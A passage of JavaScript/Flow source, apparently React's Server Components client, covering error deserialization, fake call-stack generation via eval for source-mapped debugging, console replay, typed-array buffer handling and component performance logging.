didn't expect not to have an existing stream;\n    return;\n  }\n  if (__DEV__) {\n    if (--response._pendingChunks === 0) {\n      // We're no longer waiting for any more chunks. We can release the strong\n      // reference to the response. We'll regain it if we ask for any more data\n      // later on.\n      response._weakResponse.response = null;\n    }\n  }\n  const streamChunk: InitializedStreamChunk<any> = (chunk: any);\n  const controller = streamChunk.reason;\n  controller.close(row === '' ? '\"$undefined\"' : row);\n}\n\ntype ErrorWithDigest = Error & {digest?: string};\nfunction resolveErrorProd(response: Response): Error {\n  if (__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'resolveErrorProd should never be called in development mode. Use resolveErrorDev instead. This is a bug in React.',\n    );\n  }\n  const error = new Error(\n    'An error occurred in the Server Components render. The specific message is omitted in production' +\n      ' builds to avoid leaking sensitive details. A digest property is included on this error instance which' +\n      ' may provide additional details about the nature of the error.',\n  );\n  error.stack = 'Error: ' + error.message;\n  return error;\n}\n\nfunction resolveErrorDev(\n  response: Response,\n  errorInfo: ReactErrorInfoDev,\n): Error {\n  const name = errorInfo.name;\n  const message = errorInfo.message;\n  const stack = errorInfo.stack;\n  const env = errorInfo.env;\n\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'resolveErrorDev should never be called in production mode. Use resolveErrorProd instead. This is a bug in React.',\n    );\n  }\n\n  let error;\n  const errorOptions =\n    // We don't serialize Error.cause in prod so we never need to deserialize\n    __DEV__ && 'cause' in errorInfo\n      ? {\n          cause: reviveModel(\n            response,\n            // $FlowFixMe[incompatible-cast] -- Flow thinks `cause` in `cause?: JSONValue` can be undefined after `in` check.\n            (errorInfo.cause: JSONValue),\n            errorInfo,\n            'cause',\n          ),\n        }\n      : undefined;\n  const isAggregateError =\n    typeof AggregateError !== 'undefined' && 'errors' in errorInfo;\n  const revivedErrors =\n    // We don't serialize AggregateError.errors in prod so we never need to deserialize\n    __DEV__ && isAggregateError\n      ? reviveModel(\n          response,\n          // $FlowFixMe[incompatible-cast]\n          (errorInfo.errors: JSONValue),\n          errorInfo,\n          'errors',\n        )\n      : null;\n  const callStack = buildFakeCallStack(\n    response,\n    stack,\n    env,\n    false,\n    isAggregateError\n      ? // $FlowFixMe[incompatible-use]\n        AggregateError.bind(\n          null,\n          revivedErrors,\n          message ||\n            'An error occurred in the Server Components render but no message was provided',\n          errorOptions,\n        )\n      : // $FlowFixMe[incompatible-use]\n        Error.bind(\n          null,\n          message ||\n            'An error occurred in the Server Components render but no message was provided',\n          errorOptions,\n        ),\n  );\n\n  let ownerTask: null | ConsoleTask = null;\n  if (errorInfo.owner != null) {\n    const ownerRef = errorInfo.owner.slice(1);\n    // TODO: This is not resilient to the owner loading later in an Error like a debug channel.\n    // The whole error serialization should probably go through the regular model at least for DEV.\n    const owner = getOutlinedModel(response, ownerRef, {}, '', createModel);\n    if (owner !== null) {\n      ownerTask = initializeFakeTask(response, owner);\n    }\n  }\n\n  if (ownerTask === null) {\n    const rootTask = getRootTask(response, env);\n    if (rootTask != null) {\n      error = rootTask.run(callStack);\n    } else {\n      error = callStack();\n    }\n  } else {\n    error = ownerTask.run(callStack);\n  }\n\n  (error: any).name = name;\n  (error: any).environmentName = env;\n  return error;\n}\n\nfunction resolveErrorModel(\n  response: Response,\n  id: number,\n  row: UninitializedModel,\n  streamState: StreamState,\n): void {\n  const chunks = response._chunks;\n  const chunk = chunks.get(id);\n  const errorInfo = JSON.parse(row);\n  let error;\n  if (__DEV__) {\n    error = resolveErrorDev(response, errorInfo);\n  } else {\n    error = resolveErrorProd(response);\n  }\n  (error: any).digest = errorInfo.digest;\n  const errorWithDigest: ErrorWithDigest = (error: any);\n  if (!chunk) {\n    const newChunk: ErroredChunk<any> = createErrorChunk(\n      response,\n      errorWithDigest,\n    );\n    if (__DEV__) {\n      resolveChunkDebugInfo(response, streamState, newChunk);\n    }\n    chunks.set(id, newChunk);\n  } else {\n    if (__DEV__) {\n      resolveChunkDebugInfo(response, streamState, chunk);\n    }\n    triggerErrorOnChunk(response, chunk, errorWithDigest);\n  }\n}\n\nfunction resolveHint<Code: HintCode>(\n  response: Response,\n  code: Code,\n  model: UninitializedModel,\n): void {\n  const hintModel: HintModel<Code> = parseModel(response, model);\n  dispatchHint(code, hintModel);\n}\n\nconst supportsCreateTask = __DEV__ && !!(console: any).createTask;\n\ntype FakeFunction<T> = (() => T) => T;\nconst fakeFunctionCache: Map<string, FakeFunction<any>> = __DEV__\n  ? new Map()\n  : (null: any);\n\nlet fakeFunctionIdx = 0;\nfunction createFakeFunction<T>(\n  name: string,\n  filename: string,\n  sourceMap: null | string,\n  line: number,\n  col: number,\n  enclosingLine: number,\n  enclosingCol: number,\n  environmentName: string,\n): FakeFunction<T> {\n  // This creates a fake copy of a Server Module. It represents a module that has already\n  // executed on the server but we re-execute a blank copy for its stack frames on the client.\n\n  const comment =\n    '/* This module was rendered by a Server Component. Turn on Source Maps to see the server source. */';\n\n  if (!name) {\n    // An eval:ed function with no name gets the name \"eval\". We give it something more descriptive.\n    name = '<anonymous>';\n  }\n  const encodedName = JSON.stringify(name);\n  // We generate code where the call is at the line and column of the server executed code.\n  // This allows us to use the original source map as the source map of this fake file to\n  // point to the original source.\n  let code;\n  // Normalize line/col to zero based.\n  if (enclosingLine < 1) {\n    enclosingLine = 0;\n  } else {\n    enclosingLine--;\n  }\n  if (enclosingCol < 1) {\n    enclosingCol = 0;\n  } else {\n    enclosingCol--;\n  }\n  if (line < 1) {\n    line = 0;\n  } else {\n    line--;\n  }\n  if (col < 1) {\n    col = 0;\n  } else {\n    col--;\n  }\n  if (line < enclosingLine || (line === enclosingLine && col < enclosingCol)) {\n    // Protection against invalid enclosing information. Should not happen.\n    enclosingLine = 0;\n    enclosingCol = 0;\n  }\n  if (line < 1) {\n    // Fit everything on the first line.\n    const minCol = encodedName.length + 3;\n    let enclosingColDistance = enclosingCol - minCol;\n    if (enclosingColDistance < 0) {\n      enclosingColDistance = 0;\n    }\n    let colDistance = col - enclosingColDistance - minCol - 3;\n    if (colDistance < 0) {\n      colDistance = 0;\n    }\n    code =\n      '({' +\n      encodedName +\n      ':' +\n      ' '.repeat(enclosingColDistance) +\n      '_=>' +\n      ' '.repeat(colDistance) +\n      '_()})';\n  } else if (enclosingLine < 1) {\n    // Fit just the enclosing function on the first line.\n    const minCol = encodedName.length + 3;\n    let enclosingColDistance = enclosingCol - minCol;\n    if (enclosingColDistance < 0) {\n      enclosingColDistance = 0;\n    }\n    code =\n      '({' +\n      encodedName +\n      ':' +\n      ' '.repeat(enclosingColDistance) +\n      '_=>' +\n      '\\n'.repeat(line - enclosingLine) +\n      ' '.repeat(col) +\n      '_()})';\n  } else if (enclosingLine === line) {\n    // Fit the enclosing function and callsite on same line.\n    let colDistance = col - enclosingCol - 3;\n    if (colDistance < 0) {\n      colDistance = 0;\n    }\n    code =\n      '\\n'.repeat(enclosingLine - 1) +\n      '({' +\n      encodedName +\n      ':\\n' +\n      ' '.repeat(enclosingCol) +\n      '_=>' +\n      ' '.repeat(colDistance) +\n      '_()})';\n  } else {\n    // This is the ideal because we can always encode any position.\n    code =\n      '\\n'.repeat(enclosingLine - 1) +\n      '({' +\n      encodedName +\n      ':\\n' +\n      ' '.repeat(enclosingCol) +\n      '_=>' +\n      '\\n'.repeat(line - enclosingLine) +\n      ' '.repeat(col) +\n      '_()})';\n  }\n\n  if (enclosingLine < 1) {\n    // If the function starts at the first line, we append the comment after.\n    code = code + '\\n' + comment;\n  } else {\n    // Otherwise we prepend the comment on the first line.\n    code = comment + code;\n  }\n\n  if (filename.startsWith('/')) {\n    // If the filename starts with `/` we assume that it is a file system file\n    // rather than relative to the current host. Since on the server fully qualified\n    // stack traces use the file path.\n    // TODO: What does this look like on Windows?\n    filename = 'file://' + filename;\n  }\n\n  if (sourceMap) {\n    // We use the prefix about://React/ to separate these from other files listed in\n    // the Chrome DevTools. We need a \"host name\" and not just a protocol because\n    // otherwise the group name becomes the root folder. Ideally we don't want to\n    // show these at all but there's two reasons to assign a fake URL.\n    // 1) A printed stack trace string needs a unique URL to be able to source map it.\n    // 2) If source maps are disabled or fails, you should at least be able to tell\n    //    which file it was.\n    code +=\n      '\\n//# sourceURL=about://React/' +\n      encodeURIComponent(environmentName) +\n      '/' +\n      encodeURI(filename) +\n      '?' +\n      fakeFunctionIdx++;\n    code += '\\n//# sourceMappingURL=' + sourceMap;\n  } else if (filename) {\n    code += '\\n//# sourceURL=' + encodeURI(filename);\n  } else {\n    code += '\\n//# sourceURL=<anonymous>';\n  }\n\n  let fn: FakeFunction<T>;\n  try {\n    // eslint-disable-next-line no-eval\n    fn = (0, eval)(code)[name];\n  } catch (x) {\n    // If eval fails, such as if in an environment that doesn't support it,\n    // we fallback to creating a function here. It'll still have the right\n    // name but it'll lose line/column number and file name.\n    fn = function (_) {\n      return _();\n    };\n    // Using the usual {[name]: _() => _()}.bind() trick to avoid minifiers\n    // doesn't work here since this will produce `Object.*` names.\n    Object.defineProperty(\n      fn,\n      // $FlowFixMe[cannot-write] -- `name` is configurable though.\n      'name',\n      {value: name},\n    );\n  }\n  return fn;\n}\n\nfunction buildFakeCallStack<T>(\n  response: Response,\n  stack: ReactStackTrace,\n  environmentName: string,\n  useEnclosingLine: boolean,\n  innerCall: () => T,\n): () => T {\n  let callStack = innerCall;\n  for (let i = 0; i < stack.length; i++) {\n    const frame = stack[i];\n    const frameKey =\n      frame.join('-') +\n      '-' +\n      environmentName +\n      (useEnclosingLine ? '-e' : '-n');\n    let fn = fakeFunctionCache.get(frameKey);\n    if (fn === undefined) {\n      const [name, filename, line, col, enclosingLine, enclosingCol] = frame;\n      const findSourceMapURL = response._debugFindSourceMapURL;\n      const sourceMap = findSourceMapURL\n        ? findSourceMapURL(filename, environmentName)\n        : null;\n      fn = createFakeFunction(\n        name,\n        filename,\n        sourceMap,\n        line,\n        col,\n        useEnclosingLine ? line : enclosingLine,\n        useEnclosingLine ? col : enclosingCol,\n        environmentName,\n      );\n      // TODO: This cache should technically live on the response since the _debugFindSourceMapURL\n      // function is an input and can vary by response.\n      fakeFunctionCache.set(frameKey, fn);\n    }\n    callStack = fn.bind(null, callStack);\n  }\n  return callStack;\n}\n\nfunction getRootTask(\n  response: Response,\n  childEnvironmentName: string,\n): null | ConsoleTask {\n  const rootTask = response._debugRootTask;\n  if (!rootTask) {\n    return null;\n  }\n  if (response._rootEnvironmentName !== childEnvironmentName) {\n    // If the root most owner component is itself in a different environment than the requested\n    // environment then we create an extra task to indicate that we're transitioning into it.\n    // Like if one environment just requests another environment.\n    const createTaskFn = (console: any).createTask.bind(\n      console,\n      '\"use ' + childEnvironmentName.toLowerCase() + '\"',\n    );\n    return rootTask.run(createTaskFn);\n  }\n  return rootTask;\n}\n\nfunction initializeFakeTask(\n  response: Response,\n  debugInfo: ReactComponentInfo | ReactAsyncInfo | ReactIOInfo,\n): null | ConsoleTask {\n  if (!supportsCreateTask) {\n    return null;\n  }\n  if (debugInfo.stack == null) {\n    // If this is an error, we should've really already initialized the task.\n    // If it's null, we can't initialize a task.\n    return null;\n  }\n  const cachedEntry = debugInfo.debugTask;\n  if (cachedEntry !== undefined) {\n    return cachedEntry;\n  }\n\n  // Workaround for a bug where Chrome Performance tracking uses the enclosing line/column\n  // instead of the callsite. For ReactAsyncInfo/ReactIOInfo, the only thing we're going\n  // to use the fake task for is the Performance tracking so we encode the enclosing line/\n  // column at the callsite to get a better line number. We could do this for Components too\n  // but we're going to use those for other things too like console logs and it's not worth\n  // duplicating. If this bug is every fixed in Chrome, this should be set to false.\n  const useEnclosingLine = debugInfo.key === undefined;\n\n  const stack = debugInfo.stack;\n  const env: string =\n    debugInfo.env == null ? response._rootEnvironmentName : debugInfo.env;\n  const ownerEnv: string =\n    debugInfo.owner == null || debugInfo.owner.env == null\n      ? response._rootEnvironmentName\n      : debugInfo.owner.env;\n  const ownerTask =\n    debugInfo.owner == null\n      ? null\n      : initializeFakeTask(response, debugInfo.owner);\n  const taskName =\n    // This is the boundary between two environments so we'll annotate the task name.\n    // We assume that the stack frame of the entry into the new environment was done\n    // from the old environment. So we use the owner's environment as the current.\n    env !== ownerEnv\n      ? '\"use ' + env.toLowerCase() + '\"'\n      : // Some unfortunate pattern matching to refine the type.\n        debugInfo.key !== undefined\n        ? getServerComponentTaskName(((debugInfo: any): ReactComponentInfo))\n        : debugInfo.name !== undefined\n          ? getIOInfoTaskName(((debugInfo: any): ReactIOInfo))\n          : getAsyncInfoTaskName(((debugInfo: any): ReactAsyncInfo));\n  // $FlowFixMe[cannot-write]: We consider this part of initialization.\n  return (debugInfo.debugTask = buildFakeTask(\n    response,\n    ownerTask,\n    stack,\n    taskName,\n    ownerEnv,\n    useEnclosingLine,\n  ));\n}\n\nfunction buildFakeTask(\n  response: Response,\n  ownerTask: null | ConsoleTask,\n  stack: ReactStackTrace,\n  taskName: string,\n  env: string,\n  useEnclosingLine: boolean,\n): ConsoleTask {\n  const createTaskFn = (console: any).createTask.bind(console, taskName);\n  const callStack = buildFakeCallStack(\n    response,\n    stack,\n    env,\n    useEnclosingLine,\n    createTaskFn,\n  );\n  if (ownerTask === null) {\n    const rootTask = getRootTask(response, env);\n    if (rootTask != null) {\n      return rootTask.run(callStack);\n    } else {\n      return callStack();\n    }\n  } else {\n    return ownerTask.run(callStack);\n  }\n}\n\nconst createFakeJSXCallStack = {\n  react_stack_bottom_frame: function (\n    response: Response,\n    stack: ReactStackTrace,\n    environmentName: string,\n  ): Error {\n    const callStackForError = buildFakeCallStack(\n      response,\n      stack,\n      environmentName,\n      false,\n      fakeJSXCallSite,\n    );\n    return callStackForError();\n  },\n};\n\nconst createFakeJSXCallStackInDEV: (\n  response: Response,\n  stack: ReactStackTrace,\n  environmentName: string,\n) => Error = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (createFakeJSXCallStack.react_stack_bottom_frame.bind(\n      createFakeJSXCallStack,\n    ): any)\n  : (null: any);\n\n/** @noinline */\nfunction fakeJSXCallSite() {\n  // This extra call frame represents the JSX creation function. We always pop this frame\n  // off before presenting so it needs to be part of the stack.\n  return new Error('react-stack-top-frame');\n}\n\nfunction initializeFakeStack(\n  response: Response,\n  debugInfo: ReactComponentInfo | ReactAsyncInfo | ReactIOInfo,\n): void {\n  const cachedEntry = debugInfo.debugStack;\n  if (cachedEntry !== undefined) {\n    return;\n  }\n  if (debugInfo.stack != null) {\n    const stack = debugInfo.stack;\n    const env = debugInfo.env == null ? '' : debugInfo.env;\n    // $FlowFixMe[cannot-write]\n    debugInfo.debugStack = createFakeJSXCallStackInDEV(response, stack, env);\n  }\n  const owner = debugInfo.owner;\n  if (owner != null) {\n    // Initialize any owners not yet initialized.\n    initializeFakeStack(response, owner);\n    if (owner.debugLocation === undefined && debugInfo.debugStack != null) {\n      // If we are the child of this owner, then the owner should be the bottom frame\n      // our stack. We can use it as the implied location of the owner.\n      owner.debugLocation = debugInfo.debugStack;\n    }\n  }\n}\n\nfunction initializeDebugInfo(\n  response: Response,\n  debugInfo: ReactDebugInfoEntry,\n): ReactDebugInfoEntry {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'initializeDebugInfo should never be called in production mode. This is a bug in React.',\n    );\n  }\n  if (debugInfo.stack !== undefined) {\n    const componentInfoOrAsyncInfo: ReactComponentInfo | ReactAsyncInfo =\n      // $FlowFixMe[incompatible-type]\n      debugInfo;\n    // We eagerly initialize the fake task because this resolving happens outside any\n    // render phase so we're not inside a user space stack at this point. If we waited\n    // to initialize it when we need it, we might be inside user code.\n    initializeFakeTask(response, componentInfoOrAsyncInfo);\n  }\n  if (debugInfo.owner == null && response._debugRootOwner != null) {\n    const componentInfoOrAsyncInfo: ReactComponentInfo | ReactAsyncInfo =\n      // $FlowFixMe: By narrowing `owner` to `null`, we narrowed `debugInfo` to `ReactComponentInfo`\n      debugInfo;\n    // $FlowFixMe[cannot-write]\n    componentInfoOrAsyncInfo.owner = response._debugRootOwner;\n    // We clear the parsed stack frames to indicate that it needs to be re-parsed from debugStack.\n    // $FlowFixMe[cannot-write]\n    componentInfoOrAsyncInfo.stack = null;\n    // We override the stack if we override the owner since the stack where the root JSX\n    // was created on the server isn't very useful but where the request was made is.\n    // $FlowFixMe[cannot-write]\n    componentInfoOrAsyncInfo.debugStack = response._debugRootStack;\n    // $FlowFixMe[cannot-write]\n    componentInfoOrAsyncInfo.debugTask = response._debugRootTask;\n  } else if (debugInfo.stack !== undefined) {\n    const componentInfoOrAsyncInfo: ReactComponentInfo | ReactAsyncInfo =\n      // $FlowFixMe[incompatible-type]\n      debugInfo;\n    initializeFakeStack(response, componentInfoOrAsyncInfo);\n  }\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    if (typeof debugInfo.time === 'number') {\n      // Adjust the time to the current environment's time space.\n      // Since this might be a deduped object, we clone it to avoid\n      // applying the adjustment twice.\n      debugInfo = {\n        time: debugInfo.time + response._timeOrigin,\n      };\n    }\n  }\n  return debugInfo;\n}\n\nfunction resolveDebugModel(\n  response: Response,\n  id: number,\n  json: UninitializedModel,\n): void {\n  const parentChunk = getChunk(response, id);\n  if (\n    parentChunk.status === INITIALIZED ||\n    parentChunk.status === ERRORED ||\n    parentChunk.status === HALTED ||\n    parentChunk.status === BLOCKED\n  ) {\n    // We shouldn't really get debug info late. It's too late to add it after we resolved.\n    return;\n  }\n  if (parentChunk.status === RESOLVED_MODULE) {\n    // We don't expect to get debug info on modules.\n    return;\n  }\n  const previousChunk = parentChunk._debugChunk;\n  const debugChunk: ResolvedModelChunk<ReactDebugInfoEntry> =\n    createResolvedModelChunk(response, json);\n  debugChunk._debugChunk = previousChunk; // Linked list of the debug chunks\n  parentChunk._debugChunk = debugChunk;\n  initializeDebugChunk(response, parentChunk);\n  if (\n    __DEV__ &&\n    ((debugChunk: any): SomeChunk<any>).status === BLOCKED &&\n    (response._debugChannel === undefined ||\n      !response._debugChannel.hasReadable)\n  ) {\n    if (json[0] === '\"' && json[1] === '$') {\n      const path = json.slice(2, json.length - 1).split(':');\n      const outlinedId = parseInt(path[0], 16);\n      const chunk = getChunk(response, outlinedId);\n      if (chunk.status === PENDING) {\n        // We expect the debug chunk to have been emitted earlier in the stream. It might be\n        // blocked on other things but chunk should no longer be pending.\n        // If it's still pending that suggests that it was referencing an object in the debug\n        // channel, but no debug channel was wired up so it's missing. In this case we can just\n        // drop the debug info instead of halting the whole stream.\n        parentChunk._debugChunk = null;\n      }\n    }\n  }\n}\n\nlet currentOwnerInDEV: null | ReactComponentInfo = null;\nfunction getCurrentStackInDEV(): string {\n  if (__DEV__) {\n    const owner: null | ReactComponentInfo = currentOwnerInDEV;\n    if (owner === null) {\n      return '';\n    }\n    return getOwnerStackByComponentInfoInDev(owner);\n  }\n  return '';\n}\n\nconst replayConsoleWithCallStack = {\n  react_stack_bottom_frame: function (\n    response: Response,\n    payload: ConsoleEntry,\n  ): void {\n    const methodName = payload[0];\n    const stackTrace = payload[1];\n    const owner = payload[2];\n    const env = payload[3];\n    const args = payload.slice(4);\n\n    // There really shouldn't be anything else on the stack atm.\n    const prevStack = ReactSharedInternals.getCurrentStack;\n    ReactSharedInternals.getCurrentStack = getCurrentStackInDEV;\n    currentOwnerInDEV =\n      owner === null ? (response._debugRootOwner: any) : owner;\n\n    try {\n      const callStack = buildFakeCallStack(\n        response,\n        stackTrace,\n        env,\n        false,\n        bindToConsole(methodName, args, env),\n      );\n      if (owner != null) {\n        const task = initializeFakeTask(response, owner);\n        initializeFakeStack(response, owner);\n        if (task !== null) {\n          task.run(callStack);\n          return;\n        }\n      }\n      const rootTask = getRootTask(response, env);\n      if (rootTask != null) {\n        rootTask.run(callStack);\n        return;\n      }\n      callStack();\n    } finally {\n      currentOwnerInDEV = null;\n      ReactSharedInternals.getCurrentStack = prevStack;\n    }\n  },\n};\n\nconst replayConsoleWithCallStackInDEV: (\n  response: Response,\n  payload: ConsoleEntry,\n) => void = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (replayConsoleWithCallStack.react_stack_bottom_frame.bind(\n      replayConsoleWithCallStack,\n    ): any)\n  : (null: any);\n\ntype ConsoleEntry = [\n  string,\n  ReactStackTrace,\n  null | ReactComponentInfo,\n  string,\n  mixed,\n];\n\nfunction resolveConsoleEntry(\n  response: Response,\n  json: UninitializedModel,\n): void {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'resolveConsoleEntry should never be called in production mode. This is a bug in React.',\n    );\n  }\n\n  if (!response._replayConsole) {\n    return;\n  }\n\n  const blockedChunk = response._blockedConsole;\n  if (blockedChunk == null) {\n    // If we're not blocked on any other chunks, we can try to eagerly initialize\n    // this as a fast-path to avoid awaiting them.\n    const chunk: ResolvedModelChunk<ConsoleEntry> = createResolvedModelChunk(\n      response,\n      json,\n    );\n    initializeModelChunk(chunk);\n    const initializedChunk: SomeChunk<ConsoleEntry> = chunk;\n    if (initializedChunk.status === INITIALIZED) {\n      replayConsoleWithCallStackInDEV(response, initializedChunk.value);\n    } else {\n      chunk.then(\n        v => replayConsoleWithCallStackInDEV(response, v),\n        e => {\n          // Ignore console errors for now. Unnecessary noise.\n        },\n      );\n      response._blockedConsole = chunk;\n    }\n  } else {\n    // We're still waiting on a previous chunk so we can't enqueue quite yet.\n    const chunk: SomeChunk<ConsoleEntry> = createPendingChunk(response);\n    chunk.then(\n      v => replayConsoleWithCallStackInDEV(response, v),\n      e => {\n        // Ignore console errors for now. Unnecessary noise.\n      },\n    );\n    response._blockedConsole = chunk;\n    const unblock = () => {\n      if (response._blockedConsole === chunk) {\n        // We were still the last chunk so we can now clear the queue and return\n        // to synchronous emitting.\n        response._blockedConsole = null;\n      }\n      resolveModelChunk(response, chunk, json);\n    };\n    blockedChunk.then(unblock, unblock);\n  }\n}\n\nfunction initializeIOInfo(response: Response, ioInfo: ReactIOInfo): void {\n  if (ioInfo.stack !== undefined) {\n    initializeFakeTask(response, ioInfo);\n    initializeFakeStack(response, ioInfo);\n  }\n  // Adjust the time to the current environment's time space.\n  // $FlowFixMe[cannot-write]\n  ioInfo.start += response._timeOrigin;\n  // $FlowFixMe[cannot-write]\n  ioInfo.end += response._timeOrigin;\n\n  if (enableComponentPerformanceTrack && response._replayConsole) {\n    const env = response._rootEnvironmentName;\n    const promise = ioInfo.value;\n    if (promise) {\n      const thenable: Thenable<mixed> = (promise: any);\n      switch (thenable.status) {\n        case INITIALIZED:\n          logIOInfo(ioInfo, env, thenable.value);\n          break;\n        case ERRORED:\n          logIOInfoErrored(ioInfo, env, thenable.reason);\n          break;\n        default:\n          // If we haven't resolved the Promise yet, wait to log until have so we can include\n          // its data in the log.\n          promise.then(\n            logIOInfo.bind(null, ioInfo, env),\n            logIOInfoErrored.bind(null, ioInfo, env),\n          );\n          break;\n      }\n    } else {\n      logIOInfo(ioInfo, env, undefined);\n    }\n  }\n}\n\nfunction resolveIOInfo(\n  response: Response,\n  id: number,\n  model: UninitializedModel,\n): void {\n  const chunks = response._chunks;\n  let chunk = chunks.get(id);\n  const prevIsInitializingDebugInfo = isInitializingDebugInfo;\n  isInitializingDebugInfo = true;\n  try {\n    if (!chunk) {\n      chunk = createResolvedModelChunk(response, model);\n      chunks.set(id, chunk);\n      initializeModelChunk(chunk);\n    } else {\n      resolveModelChunk(response, chunk, model);\n      if (chunk.status === RESOLVED_MODEL) {\n        initializeModelChunk(chunk);\n      }\n    }\n  } finally {\n    isInitializingDebugInfo = prevIsInitializingDebugInfo;\n  }\n  if (chunk.status === INITIALIZED) {\n    initializeIOInfo(response, chunk.value);\n  } else {\n    chunk.then(\n      v => {\n        initializeIOInfo(response, v);\n      },\n      e => {\n        // Ignore debug info errors for now. Unnecessary noise.\n      },\n    );\n  }\n}\n\nfunction mergeBuffer(\n  buffer: Array<Uint8Array>,\n  lastChunk: Uint8Array,\n): Uint8Array {\n  const l = buffer.length;\n  // Count the bytes we'll need\n  let byteLength = lastChunk.length;\n  for (let i = 0; i < l; i++) {\n    byteLength += buffer[i].byteLength;\n  }\n  // Allocate enough contiguous space\n  const result = new Uint8Array(byteLength);\n  let offset = 0;\n  // Copy all the buffers into it.\n  for (let i = 0; i < l; i++) {\n    const chunk = buffer[i];\n    result.set(chunk, offset);\n    offset += chunk.byteLength;\n  }\n  result.set(lastChunk, offset);\n  return result;\n}\n\nfunction resolveTypedArray(\n  response: Response,\n  id: number,\n  buffer: Array<Uint8Array>,\n  lastChunk: Uint8Array,\n  constructor: any,\n  bytesPerElement: number,\n  streamState: StreamState,\n): void {\n  // If the view fits into one original buffer, we just reuse that buffer instead of\n  // copying it out to a separate copy. This means that it's not always possible to\n  // transfer these values to other threads without copying first since they may\n  // share array buffer. For this to work, it must also have bytes aligned to a\n  // multiple of a size of the type.\n  const chunk =\n    buffer.length === 0 && lastChunk.byteOffset % bytesPerElement === 0\n      ? lastChunk\n      : mergeBuffer(buffer, lastChunk);\n  // TODO: The transfer protocol of RSC is little-endian. If the client isn't little-endian\n  // we should convert it instead. In practice big endian isn't really Web compatible so it's\n  // somewhat safe to assume that browsers aren't going to run it, but maybe there's some SSR\n  // server that's affected.\n  const view: $ArrayBufferView = new constructor(\n    chunk.buffer,\n    chunk.byteOffset,\n    chunk.byteLength / bytesPerElement,\n  );\n  resolveBuffer(response, id, view, streamState);\n}\n\nfunction logComponentInfo(\n  response: Response,\n  root: SomeChunk<any>,\n  componentInfo: ReactComponentInfo,\n  trackIdx: number,\n  startTime: number,\n  componentEndTime: number,\n  childrenEndTime: number,\n  isLastComponent: boolean,\n): void {\n  // $FlowFixMe: Refined.\n  if (\n    isLastComponent &&\n    root.status === ERRORED &&\n    root.reason !== response._closedReason\n  ) {\n    // If this is the last component to render before this chunk rejected, then conceptually\n    // this component errored. If this was a cancellation then it wasn't this component that\n    // errored.\n    logComponentErrored(\n      componentInfo,\n      trackIdx,\n      startTime,\n      componentEndTime,\n      childrenEndTime,\n      response._rootEnvironmentName,\n      root.reason,\n    );\n  } else {\n    logComponentRender(\n      componentInfo,\n      trackIdx,\n      startTime,\n      componentEndTime,\n      childrenEndTime,\n      response._rootEnvironmentName,\n    );\n  }\n}\n\nfunction flushComponentPerformance(\n  response: Response,\n  root: SomeChunk<any>,\n  trackIdx: number, // Next available track\n  trackTime: number, // The time after which it is available,\n  parentEndTime: number,\n): ProfilingResult {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'flushComponentPerformance should never be called in production mode. This is a bug in React.',\n    );\n  }\n  // Write performance.measure() entries for Server Components in tree order.\n  // This must be done at the end to collect the end time from the whole tree.\n  if (!isArray(root._children)) {\n    // We have already written this chunk. If this was a cycle, then this will\n    // be -Infinity and it won't contribute to the parent end time.\n    // If this was already emitted by another sibling then we reused the same\n    // chunk in two places. We should extend the current end time as if it was\n    // rendered as part of this tree.\n    const previousResult: ProfilingResult = root._children;\n    const previousEndTime = previousResult.endTime;\n    if (\n      parentEndTime > -Infinity &&\n      parentEndTime < previousEndTime &&\n      previousResult.component !== null\n    ) {\n      // Log a placeholder for the deduped value under this child starting\n      // from the end of the self time of the parent and spanning until the\n      // the deduped end.\n      logDedupedComponentRender(\n        previousResult.component,\n        trackIdx,\n        parentEndTime,\n        previousEndTime,\n        response._rootEnvironmentName,\n      );\n    }\n    // Since we didn't bump the track this time, we just return the same track.\n    previousResult.track = trackIdx;\n    return previousResult;\n  }\n  const children = root._children;\n\n  // First find the start time of the first component to know if it was running\n  // in parallel with the previous.\n  let debugInfo = null;\n  if (__DEV__) {\n    debugInfo = root._debugInfo;\n    if (debugInfo.length === 0 && root.status === 'fulfilled') {\n      const resolvedValue = resolveLazy(root.value);\n      if (\n        typeof resolvedValue === 'object' &&\n        resolvedValue !== null &&\n        (isArray(resolvedValue) ||\n          typeof resolvedValue[ASYNC_ITERATOR] === 'function' ||\n          resolvedValue.$$typeof === REACT_ELEMENT_TYPE ||\n          resolvedValue.$$typeof === REACT_LAZY_TYPE) &&\n        isArray(resolvedValue._debugInfo)\n      ) {\n        // It's possible that the value has been given the debug info.\n        // In that case we need to look for it on the resolved value.\n        debugInfo = resolvedValue._debugInfo;\n      }\n    }\n  }\n  if (debugInfo) {\n    let startTime = 0;\n    for (let i = 0; i < debugInfo.length; i++) {\n      const info = debugInfo[i];\n      if (typeof info.time === 'number') {\n        startTime = info.time;\n      }\n      if (typeof info.name === 'string') {\n        if (startTime < trackTime) {\n          // The start time of this component is before the end time of the previous\n          // component on this track so we need to bump the next one to a parallel track.\n          trackIdx++;\n        }\n        trackTime = startTime;\n        break;\n      }\n    }\n    for (let i = debugInfo.length - 1; i >= 0; i--) {\n      const info = debugInfo[i];\n      if (typeof info.time === 'number') {\n        if (info.time > parentEndTime) {\n          parentEndTime = info.time;\n          break; // We assume the highest number is at the end.\n        }\n      }\n    }\n  }\n\n  const result: ProfilingResult = {\n    track: trackIdx,\n    endTime: -Infinity,\n    component: null,\n  };\n  root._children = result;\n  let childrenEndTime = -Infinity;\n  let childTrackIdx = trackIdx;\n  let childTrackTime = trackTime;\n  for (let i = 0; i < children.length; i++) {\n    const childResult = flushComponentPerformance(\n      response,\n      children[i],\n      childTrackIdx,\n      childTrackTime,\n      parentEndTime,\n    );\n    if (childResult.component !== null) {\n      result.component = childResult.component;\n    }\n    childTrackIdx = childResult.track;\n    const childEndTime = 